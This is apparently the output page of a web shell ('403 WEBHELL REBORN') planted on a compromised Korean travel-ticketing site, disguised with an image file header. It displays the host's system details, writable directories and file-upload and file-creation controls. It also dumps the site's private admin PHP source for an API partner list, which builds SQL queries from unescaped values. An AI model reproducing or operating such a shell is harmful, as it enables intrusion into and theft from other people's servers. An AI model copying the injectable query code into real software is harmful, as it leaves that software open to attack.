ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/member/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/member/api_manage_list.html
<?
$left_menu = 400; // 좌측메뉴

include "../include/top.html";
include "_common.php";

// 검색조건
$sql_where = "1=1";

$sql_order = "api_seq DESC";

// 총 갯수
$result = db_query("select count(*) from TB_API_MANAGE WHERE {$sql_where}");
$rs = db_fetch_row($result);
$total = $rs[0];

// 페이지수 설정
if (!$page) $page = 1; // 페이지 번호
$line = 20; // 보여줄 갯수
$list = 10; // 블럭 갯수
$total_page = ceil($total / $line); // 총페이지
if ($total == 0) $total_page = 1; // 데이터가 하나도 없으면 총페이지 1
if ($page > $total_page) $page = $total_page; // 페이지가 전체 페이지보다 크면 페이지 번호를 바꿈
$total_list = intval($total_page / $list);
if ($total_page % $list == 0) $total_list--;
$curr_list = intval($page / $list);
if ($page % $list == 0) $curr_list--;
$start_page = $curr_list * $list + 1;
$prev_list = $start_page - $list;
$next_list = $start_page + $list;
$olds = $line * ($page - 1);

//리스트불러오기
$sql="SELECT * FROM TB_API_MANAGE WHERE {$sql_where}";

if($sql_order) $sql .= " ORDER BY ".$sql_order;
if($olds!=='') $sql .= " LIMIT $olds , $line ";

$data = array();
$rs = db_query($sql);

//파라메터
$param = $href."&page=$page";
?>

<div class="contents_wrap">
<div class="contents_wrap_in">
	<div class="title"><strong>API 사용 업체 리스트</strong></div>
	<div class="contents_detail">

		<div id="Content_box">
		<div class="top_txt_s">
			<div class="bar_wrap">
				<p class="search_result_txt"><span>Total : <?=$total?></span> </p>
				<ul class="search_rt_btn">
					<li><a class="Tbtn red" href="api_manage_register.html">등록</a></li>
				</ul>
				</div>
			</div>

			<form name="api_manage_list" id="api_manage_list" method="POST">
			<input type="hidden" name="SqlType" id="SqlType" value="" />
			<table width="100%" border="0" cellspacing="0" cellpadding="0" class="t_list">
				<caption>이벤트 확인</caption>
				<colgroup>
					<col style=" width:60px" />
					<col />
					<col />
					<col style=" width:200px" />
					<col style=" width:250px" />
					<col style=" width:180px" />
					<col style=" width:180px" />
					<col style=" width:230px" />
					<col style=" width:150px" />
				</colgroup>
				<thead>
				<tr>
					<th scope="col">No</th>
					<th scope="col">거래처명</th>
					<th scope="col">거래처아이디</th>
					<th scope="col">API 상태</th>
					<th scope="col">사용권한</th>
					<th scope="col">담당자명</th>
					<th scope="col">담당자연락처</th>
					<th scope="col">담당자이메일</th>
					<th scope="col">수정</th>
				</tr>
				</thead>
				<tbody>
				<?
				$i = 0;
				while($row = db_fetch_array($rs)){
					$num = $total - ($page - 1) * $line - $i;
					$i++;

					$agent_id = $row['api_agent_id'];

					switch($row['api_use']){
						case "D":
							$api_use = "사용(개발)";
							break;
						case "Y":
							$api_use = "사용(운영)";
							break;
						case "N":
							$api_use = "미사용";
							break;
					}

					$api_allow_items = str_replace(array('RESEND','RES','STATUS'),array('티켓재발송','예약/취소','상태조회'), $row['api_allow_items']);

					$agent_data = member_fetch(" and mb_id='{$agent_id}' ");
					$api_agent_nm = $agent_data[0]['bz_corp_nm'];
				?>
				<tr>
					<td><?=$num?></td>
					<td><?=$api_agent_nm?></td>
					<td><?=$row['api_agent_id']?></td>
					<td><?=$api_use?></td>
					<td><?=$api_allow_items?></td>
					<td><?=$row['api_manger_name']?></td>
					<td><?=$row['api_manger_phone']?></td>
					<td><?=$row['api_manger_email']?></td>
					<td><a href="api_manage_register.html?api_seq=<?=$row['api_seq']?>"><img src="../image/btn/btn_modify3.gif" align="top" alt="수정" /></a></td>
				</tr>
				<?}?>
				</tbody>
			</table>
			</form>

			<?=adm_get_paging($total_page, $page, $list, "?$href&page=", "")?>
		</div>
		</div>
	</div>
</div>
</div>

<script type="text/javascript">
$(document).ready(function(){

});

function copy_url(url){
	var temp_elem = document.createElement("textarea");
	document.body.appendChild(temp_elem);

	temp_elem.value = url;
	temp_elem.select()
	temp_elem.setSelectionRange(0, 99999); /*For mobile devices*/

	document.execCommand("copy");
	document.body.removeChild(temp_elem);

	alert("클립보드에 링크 주소를 복사했습니다. 원하는 곳에 붙여넣기 하세요.\n\n" + url);

	return false;
}

function event_del(e_idx){
	if(!e_idx) return;

	if(confirm('삭제후 복원할 수 없습니다. 삭제하시겠습니까?')){
		location.href = "event_proc.php?SqlType=delete&e_idx="+e_idx+"&<?=$param?>";
	}
}

</script>

<? include "../include/footer.html" ?>


Anon7 - 2021